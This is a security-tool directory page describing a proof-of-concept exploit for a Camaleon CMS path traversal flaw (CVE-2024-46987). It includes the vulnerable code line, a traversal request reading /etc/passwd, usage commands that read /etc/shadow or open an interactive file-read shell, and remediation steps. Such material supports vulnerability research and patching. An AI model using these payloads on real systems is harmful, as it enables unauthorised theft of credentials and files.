Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2024-46987 — PoC exploit for CVE-2024-46987 — Camaleon CMS arbitrary path traversal (file read) | Kitploit
Tools/GitHubGitHub/blueberryp1ll/cve-2024-46987
Vulnerability AnalysisExploitationWeb Application ExploitationInformation GatheringPenetration TestingLearning & Education
GitHubblueberryp1ll/cve-2024-46987

CVE-2024-46987

PoC exploit for CVE-2024-46987 — Camaleon CMS arbitrary path traversal (file read)

View Repository
6 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2024-46987 — Camaleon CMS Arbitrary Path Traversal

For authorised security assessments, penetration testing engagements, and educational research only.

Overview

FieldDetail
CVECVE-2024-46987
ProductCamaleon CMS
Versions>= 2.8.0, < 2.8.2 (also confirmed on 2.9.0)
TypePath Traversal / Arbitrary File Read (CWE-22)
AuthRequired (any low-privilege account)
CVSS7.7 High — AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
Fixed in2.8.2

Vulnerability

MediaController#download_private_file passes params[:file] unsanitised into fetch_file:

root@kitploit:~
# Vulnerable sink
fetch_file("private/#{params[:file]}")

No path normalisation is applied before the value is used with send_file, allowing an authenticated attacker to break out of the private/ directory using ../ sequences and read arbitrary files that the Rails process has permission to access.

Vulnerable endpoint:

root@kitploit:~
GET /admin/media/download_private_file?file=../../../../../../etc/passwd

Requirements

  • Python 3.8+
  • requests library
root@kitploit:~
pip3 install requests

Usage

root@kitploit:~
usage: CVE-2024-46987.py [-h] -u URL (--cookie COOKIE | -U USERNAME)
                         [-P PASSWORD] [-f FILE] [-d DEPTH]
                         [--interesting] [--interactive]
                         [--no-verify] [--debug]

Credential-based authentication

root@kitploit:~
# Read /etc/passwd (default)
python3 CVE-2024-46987.py -u http://target.com -U admin -P password

# Read a specific file
python3 CVE-2024-46987.py -u http://target.com -U admin -P password -f /etc/shadow

# Scan a list of high-value paths automatically
python3 CVE-2024-46987.py -u http://target.com -U admin -P password --interesting

# Interactive file-read shell
python3 CVE-2024-46987.py -u http://target.com -U admin -P password --interactive

Re-use an existing session (from Burp Suite / browser DevTools)

root@kitploit:~
# Single file
python3 CVE-2024-46987.py -u http://target.com \
  --cookie "_app_session=XXXX" -f /etc/passwd

# Interactive shell
python3 CVE-2024-46987.py -u http://target.com \
  --cookie "_app_session=XXXX; auth_token=YYYY" --interactive

Options

FlagDescription
-uTarget base URL
-U / -PCMS username and password
--cookieRaw cookie string (alternative to credentials)
-fFile path to read (default: /etc/passwd)
-dTraversal depth — number of ../ prepended (default: 10)
--interestingIterate over built-in list of high-value paths
--interactiveInteractive file-read shell
--no-verifyDisable TLS certificate verification
--debugVerbose output to diagnose auth failures

Notes on /proc pseudo-files

Files under /proc/self/ (e.g. environ, cmdline) return HTTP 200 but an empty body. This is expected — the kernel reports their size as 0, so Rails' send_file streams nothing. Use regular flat files instead.

Remediation

Upgrade Camaleon CMS to version 2.8.2 or later. The patch adds proper path normalisation and ensures that the resolved path remains within the intended directory before calling send_file.

Alternatively:

  • Normalise all user-supplied file paths before use.
  • Reject any input containing .. sequences.
  • Apply the principle of least privilege to the OS user running the Rails process.

References

  • GHSA-cp65-5m9r-vc2c — GitHub Advisory
  • GHSL-2024-183 — GitHub Security Lab
  • NVD — CVE-2024-46987

Disclaimer

This proof-of-concept is published for educational purposes and to assist security professionals in understanding and reproducing the vulnerability in authorised test environments. The author is not responsible for any misuse. Always obtain explicit written permission before testing systems you do not own.

Download Tool